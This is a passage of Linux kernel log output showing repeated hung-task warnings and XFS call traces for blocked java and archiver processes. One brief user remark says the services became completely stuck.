kernel: [1412400.891730] [] ? set_page_dirty_lock+0x60/0x60 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891732] [] generic_writepages+0x4a/0x70 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891742] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891745] [] do_writepages+0x21/0x40 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891749] [] writeback_single_inode+0x180/0x430 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891751] [] writeback_sb_inodes+0x1b6/0x270 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891754] [] __writeback_inodes_wb+0x9e/0xd0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891756] [] wb_writeback+0x27b/0x330 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891760] [] ? __switch_to+0xf5/0x360 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891763] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891765] [] wb_check_old_data_flush+0x9f/0xb0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891768] [] wb_do_writeback+0x151/0x1d0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891772] [] ? usleep_range+0x50/0x50 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891774] [] bdi_writeback_thread+0x83/0x2a0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891777] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891779] [] kthread+0x8c/0xa0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891782] [] kernel_thread_helper+0x4/0x10 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891784] [] ? flush_kthread_worker+0xa0/0xa0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891787] [] ? gs_change+0x13/0x13 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861122] INFO: task java:14629 blocked for more than 120 seconds. Mar 21 06:36:20 ealxs00169 kernel: [1412520.861204] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:36:20 ealxs00169 kernel: [1412520.861471] java D 0000000000000000 0 14629 1788 0x00000000 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861476] ffff8800028e9328 0000000000000086 0000000000000100 0000000000000100 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861481] ffff8800028e9fd8 ffff8800028e9fd8 ffff8800028e9fd8 00000000000137c0 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861483] ffff88001a9a4500 ffff88001b5e8000 ffff8800028e9308 7fffffffffffffff Mar 21 06:36:20 ealxs00169 kernel: [1412520.861487] Call Trace: Mar 21 06:36:20 ealxs00169 kernel: [1412520.861500] [] schedule+0x3f/0x60 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861502] [] schedule_timeout+0x2a5/0x320 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861514] [] ? nommu_map_sg+0x72/0xe0 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861522] [] ? scsi_mode_select+0x200/0x200 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861526] [] __down_common+0xa5/0xf5 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861581] [] ? _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861583] [] __down+0x1d/0x1f Mar 21 06:36:20 ealxs00169 kernel: [1412520.861588] [] down+0x41/0x50 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861598] [] xfs_buf_lock+0x44/0x110 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861608] [] _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861618] [] xfs_buf_get+0x34/0x1c0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861626] [] ? set_next_entity+0xad/0xd0 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861637] [] xfs_buf_read+0x2d/0x120 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861656] [] xfs_trans_read_buf+0x2bf/0x470 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861670] [] xfs_read_agf+0x65/0x1a0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861684] [] ? xfs_bmap_add_extent_hole_delay+0xd3/0x6b0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861697] [] xfs_alloc_read_agf+0x32/0x60 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861711] [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861725] [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861730] [] ? radix_tree_lookup+0xb/0x10 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861732] [] ? radix_tree_lookup+0xb/0x10 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861748] [] ? xfs_perag_get+0x38/0xd0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861762] [] ? xfs_bmap_btalloc_nullfb+0x193/0x380 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861776] [] ? xfs_alloc_vextent+0x2ec/0x690 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861792] [] xfs_alloc_vextent+0x1cb/0x690 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861806] [] xfs_bmap_btalloc+0x2b1/0x770 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861821] [] ? xfs_iext_bno_to_ext+0x8c/0x160 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861836] [] xfs_bmap_alloc+0x24/0x40 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861849] [] xfs_bmapi_allocate+0xce/0x2d0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861864] [] xfs_bmapi_write+0x4c3/0x720 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861876] [] xfs_iomap_write_allocate+0x178/0x330 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861886] [] xfs_map_blocks+0x183/0x250 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861895] [] xfs_vm_writepage+0x196/0x510 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861901] [] __writepage+0x17/0x40 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861903] [] write_cache_pages+0x20d/0x460 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861922] [] ? sock_recvmsg+0x11d/0x140 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861925] [] ? set_page_dirty_lock+0x60/0x60 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861935] [] ? xfs_file_aio_write+0x25c/0x2a0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861938] [] generic_writepages+0x4a/0x70 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861948] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861951] [] do_writepages+0x21/0x40 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861955] [] __filemap_fdatawrite_range+0x5b/0x60 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861958] [] filemap_write_and_wait_range+0x52/0x80 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861968] [] xfs_file_fsync+0x5d/0x300 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.861972] [] ? poll_select_set_timeout+0x85/0xa0 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861977] [] do_fsync+0x56/0x80 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861979] [] sys_fsync+0x10/0x20 Mar 21 06:36:20 ealxs00169 kernel: [1412520.861983] [] system_call_fastpath+0x16/0x1b Mar 21 06:36:20 ealxs00169 kernel: [1412520.861989] INFO: task archiver.pl:4005 blocked for more than 120 seconds. Mar 21 06:36:20 ealxs00169 kernel: [1412520.862047] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:36:20 ealxs00169 kernel: [1412520.862112] archiver.pl D 0000000000000000 0 4005 4004 0x00000000 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862115] ffff88001bb41718 0000000000000086 ffffffff8142bff0 0000000000000002 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862118] ffff88001bb41fd8 ffff88001bb41fd8 ffff88001bb41fd8 00000000000137c0 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862121] ffff88001bad8000 ffff88000602dc00 ffff88001bb41798 7fffffffffffffff Mar 21 06:36:20 ealxs00169 kernel: [1412520.862123] Call Trace: Mar 21 06:36:20 ealxs00169 kernel: [1412520.862126] [] ? scsi_mode_select+0x200/0x200 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862133] [] schedule+0x3f/0x60 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862135] [] schedule_timeout+0x2a5/0x320 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862138] [] __down_common+0xa5/0xf5 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862149] [] ? _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862151] [] __down+0x1d/0x1f Mar 21 06:36:20 ealxs00169 kernel: [1412520.862154] [] down+0x41/0x50 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862164] [] xfs_buf_lock+0x44/0x110 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862173] [] _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862183] [] xfs_buf_get+0x34/0x1c0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862193] [] xfs_buf_read+0x2d/0x120 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862210] [] xfs_trans_read_buf+0x2bf/0x470 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862223] [] xfs_read_agf+0x65/0x1a0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862236] [] xfs_alloc_read_agf+0x32/0x60 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862250] [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862255] [] ? kfree+0x3b/0x140 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862258] [] ? kmem_cache_free+0x2f/0x110 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862260] [] ? radix_tree_lookup+0xb/0x10 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862277] [] ? xfs_perag_get+0x38/0xd0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862290] [] ? xfs_free_extent+0x91/0x120 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862303] [] xfs_free_extent+0xa2/0x120 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862317] [] xfs_bmap_finish+0x164/0x1b0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862333] [] xfs_itruncate_extents+0xdb/0x1e0 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862349] [] xfs_itruncate_data+0x66/0x150 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862365] [] xfs_inactive+0x2fe/0x460 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862368] [] ? _raw_spin_lock_irq+0x15/0x20 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862380] [] xfs_fs_evict_inode+0xad/0x110 [xfs] Mar 21 06:36:20 ealxs00169 kernel: [1412520.862385] [] evict+0xb8/0x1c0 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862387] [] iput_final+0xe8/0x210 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862389] [] iput+0x3e/0x50 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862392] [] do_unlinkat+0x153/0x1d0 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862396] [] ? vfs_read+0x10d/0x180 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862399] [] sys_unlink+0x16/0x20 Mar 21 06:36:20 ealxs00169 kernel: [1412520.862401] [] system_call_fastpath+0x16/0x1b Mar 21 06:38:20 ealxs00169 kernel: [1412640.820901] INFO: task java:1804 blocked for more than 120 seconds. Mar 21 06:38:20 ealxs00169 kernel: [1412640.820972] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:38:20 ealxs00169 kernel: [1412640.821037] java D 0000000000000000 0 1804 1788 0x00000000 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821042] ffff88001b4b3de8 0000000000000086 ffff88001b4b3da8 ffffffffa008d944 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821045] ffff88001b4b3fd8 ffff88001b4b3fd8 ffff88001b4b3fd8 00000000000137c0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821048] ffff88001a749700 ffff88001c61ae00 0000000000000000 ffff8800002f38a0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821051] Call Trace: Mar 21 06:38:20 ealxs00169 kernel: [1412640.821116] [] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821122] [] schedule+0x3f/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821126] [] __mutex_lock_slowpath+0xd7/0x150 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821131] [] ? do_path_lookup+0x31/0xc0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821134] [] mutex_lock+0x2a/0x50 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821136] [] do_unlinkat+0x8e/0x1d0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821140] [] ? poll_select_set_timeout+0x85/0xa0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821145] [] ? math_state_restore+0x51/0x80 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821148] [] sys_unlink+0x16/0x20 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821152] [] system_call_fastpath+0x16/0x1b Mar 21 06:38:20 ealxs00169 kernel: [1412640.821154] INFO: task java:1805 blocked for more than 120 seconds. Mar 21 06:38:20 ealxs00169 kernel: [1412640.821207] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:38:20 ealxs00169 kernel: [1412640.821301] java D 0000000000000000 0 1805 1788 0x00000000 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821309] ffff88001f4a17e8 0000000000000086 0000000000000000 ffff88001f5f1410 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821312] ffff88001f4a1fd8 ffff88001f4a1fd8 ffff88001f4a1fd8 00000000000137c0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821314] ffff88001bad8000 ffff88001c61dc00 000000000000003a 7fffffffffffffff Mar 21 06:38:20 ealxs00169 kernel: [1412640.821317] Call Trace: Mar 21 06:38:20 ealxs00169 kernel: [1412640.821320] [] schedule+0x3f/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821322] [] schedule_timeout+0x2a5/0x320 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821327] [] ? kmem_cache_alloc+0x11d/0x140 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821342] [] ? kmem_zone_alloc+0x67/0xe0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821345] [] __down_common+0xa5/0xf5 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821355] [] ? _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821358] [] __down+0x1d/0x1f Mar 21 06:38:20 ealxs00169 kernel: [1412640.821362] [] down+0x41/0x50 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821372] [] xfs_buf_lock+0x44/0x110 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821382] [] _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821392] [] xfs_buf_get+0x34/0x1c0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821402] [] xfs_buf_read+0x2d/0x120 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821420] [] xfs_trans_read_buf+0x2bf/0x470 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821434] [] xfs_read_agf+0x65/0x1a0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821446] [] ? kmem_alloc+0x67/0xe0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821459] [] xfs_alloc_read_agf+0x32/0x60 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821473] [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821483] [] ? xfs_buf_unlock+0x2d/0xa0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821487] [] ? kmem_cache_free+0x2f/0x110 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821491] [] ? radix_tree_lookup+0xb/0x10 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821508] [] ? xfs_perag_get+0x38/0xd0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821521] [] ? xfs_free_extent+0x91/0x120 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821539] [] xfs_free_extent+0xa2/0x120 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821553] [] xfs_bmap_finish+0x164/0x1b0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821566] [] xfs_remove+0x351/0x400 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821569] [] ? _raw_spin_lock+0xe/0x20 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821580] [] xfs_vn_unlink+0x48/0x90 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821583] [] vfs_unlink.part.26+0x80/0xf0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821585] [] vfs_unlink+0x3c/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821587] [] do_unlinkat+0x1aa/0x1d0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821590] [] ? poll_select_set_timeout+0x85/0xa0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821593] [] ? math_state_restore+0x51/0x80 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821595] [] sys_unlink+0x16/0x20 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821598] [] system_call_fastpath+0x16/0x1b Mar 21 06:38:20 ealxs00169 kernel: [1412640.821600] INFO: task java:1806 blocked for more than 120 seconds. Mar 21 06:38:20 ealxs00169 kernel: [1412640.821668] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:38:20 ealxs00169 kernel: [1412640.821760] java D 0000000000000000 0 1806 1788 0x00000000 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821767] ffff88001f741de8 0000000000000086 ffff88001f741da8 ffffffffa008d944 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821770] ffff88001f741fd8 ffff88001f741fd8 ffff88001f741fd8 00000000000137c0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821772] ffff88001c61ae00 ffff88001b9adc00 0000000000000000 ffff8800002f38a0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821775] Call Trace: Mar 21 06:38:20 ealxs00169 kernel: [1412640.821788] [] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.821790] [] schedule+0x3f/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821793] [] __mutex_lock_slowpath+0xd7/0x150 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821795] [] ? do_path_lookup+0x31/0xc0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821797] [] mutex_lock+0x2a/0x50 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821799] [] do_unlinkat+0x8e/0x1d0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821802] [] ? poll_select_set_timeout+0x85/0xa0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821805] [] ? math_state_restore+0x51/0x80 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821807] [] sys_unlink+0x16/0x20 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821809] [] system_call_fastpath+0x16/0x1b Mar 21 06:38:20 ealxs00169 kernel: [1412640.821812] INFO: task java:1807 blocked for more than 120 seconds. Mar 21 06:38:20 ealxs00169 kernel: [1412640.821878] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:38:20 ealxs00169 kernel: [1412640.821971] java D 0000000000000000 0 1807 1788 0x00000000 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821977] ffff88001f7fdde8 0000000000000086 ffff88001f7fdda8 ffffffffa008d944 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821980] ffff88001f7fdfd8 ffff88001f7fdfd8 ffff88001f7fdfd8 00000000000137c0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821983] ffff88001b9adc00 ffff88001b9a8000 0000000000000000 ffff8800002f38a0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.821985] Call Trace: Mar 21 06:38:20 ealxs00169 kernel: [1412640.821998] [] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822001] [] schedule+0x3f/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822003] [] __mutex_lock_slowpath+0xd7/0x150 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822005] [] ? do_path_lookup+0x31/0xc0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822007] [] mutex_lock+0x2a/0x50 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822010] [] do_unlinkat+0x8e/0x1d0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822012] [] ? poll_select_set_timeout+0x85/0xa0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822015] [] ? math_state_restore+0x51/0x80 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822017] [] sys_unlink+0x16/0x20 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822020] [] system_call_fastpath+0x16/0x1b Mar 21 06:38:20 ealxs00169 kernel: [1412640.822022] INFO: task java:14629 blocked for more than 120 seconds. Mar 21 06:38:20 ealxs00169 kernel: [1412640.822090] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:38:20 ealxs00169 kernel: [1412640.822183] java D 0000000000000000 0 14629 1788 0x00000000 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822186] ffff8800028e9328 0000000000000086 0000000000000100 0000000000000100 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822189] ffff8800028e9fd8 ffff8800028e9fd8 ffff8800028e9fd8 00000000000137c0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822191] ffff88001a9a4500 ffff88001b5e8000 ffff8800028e9308 7fffffffffffffff Mar 21 06:38:20 ealxs00169 kernel: [1412640.822194] Call Trace: Mar 21 06:38:20 ealxs00169 kernel: [1412640.822196] [] schedule+0x3f/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822199] [] schedule_timeout+0x2a5/0x320 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822203] [] ? nommu_map_sg+0x72/0xe0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822216] [] ? scsi_mode_select+0x200/0x200 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822220] [] __down_common+0xa5/0xf5 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822234] [] ? _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822237] [] __down+0x1d/0x1f Mar 21 06:38:20 ealxs00169 kernel: [1412640.822241] [] down+0x41/0x50 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822252] [] xfs_buf_lock+0x44/0x110 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822262] [] _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822272] [] xfs_buf_get+0x34/0x1c0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822276] [] ? set_next_entity+0xad/0xd0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822285] [] xfs_buf_read+0x2d/0x120 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822302] [] xfs_trans_read_buf+0x2bf/0x470 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822315] [] xfs_read_agf+0x65/0x1a0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822329] [] ? xfs_bmap_add_extent_hole_delay+0xd3/0x6b0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822342] [] xfs_alloc_read_agf+0x32/0x60 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822355] [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822369] [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822372] [] ? radix_tree_lookup+0xb/0x10 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822374] [] ? radix_tree_lookup+0xb/0x10 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822390] [] ? xfs_perag_get+0x38/0xd0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822403] [] ? xfs_bmap_btalloc_nullfb+0x193/0x380 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822417] [] ? xfs_alloc_vextent+0x2ec/0x690 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822430] [] xfs_alloc_vextent+0x1cb/0x690 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822443] [] xfs_bmap_btalloc+0x2b1/0x770 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822459] [] ? xfs_iext_bno_to_ext+0x8c/0x160 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822473] [] xfs_bmap_alloc+0x24/0x40 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822486] [] xfs_bmapi_allocate+0xce/0x2d0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822500] [] xfs_bmapi_write+0x4c3/0x720 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822512] [] xfs_iomap_write_allocate+0x178/0x330 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822522] [] xfs_map_blocks+0x183/0x250 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822531] [] xfs_vm_writepage+0x196/0x510 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822536] [] __writepage+0x17/0x40 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822538] [] write_cache_pages+0x20d/0x460 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822542] [] ? sock_recvmsg+0x11d/0x140 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822544] [] ? set_page_dirty_lock+0x60/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822554] [] ? xfs_file_aio_write+0x25c/0x2a0 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822557] [] generic_writepages+0x4a/0x70 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822566] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822569] [] do_writepages+0x21/0x40 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822573] [] __filemap_fdatawrite_range+0x5b/0x60 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822575] [] filemap_write_and_wait_range+0x52/0x80 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822585] [] xfs_file_fsync+0x5d/0x300 [xfs] Mar 21 06:38:20 ealxs00169 kernel: [1412640.822588] [] ? poll_select_set_timeout+0x85/0xa0 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822593] [] do_fsync+0x56/0x80 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822595] [] sys_fsync+0x10/0x20 Mar 21 06:38:20 ealxs00169 kernel: [1412640.822597] [] system_call_fastpath+0x16/0x1b >From this moment on the services are not working anymore. Complete stuck. Mar 4 19:39:25 ealxs00169 kernel: [34229278.392177] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:39:25 ealxs00169 kernel: [34229278.392400] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:39:25 ealxs00169 kernel: [34229278.392474] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392478] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392487] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392489] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:39:25 ealxs00169 kernel: [34229278.392492] Call Trace: Mar 4 19:39:25 ealxs00169 kernel: [34229278.392510] [] ? 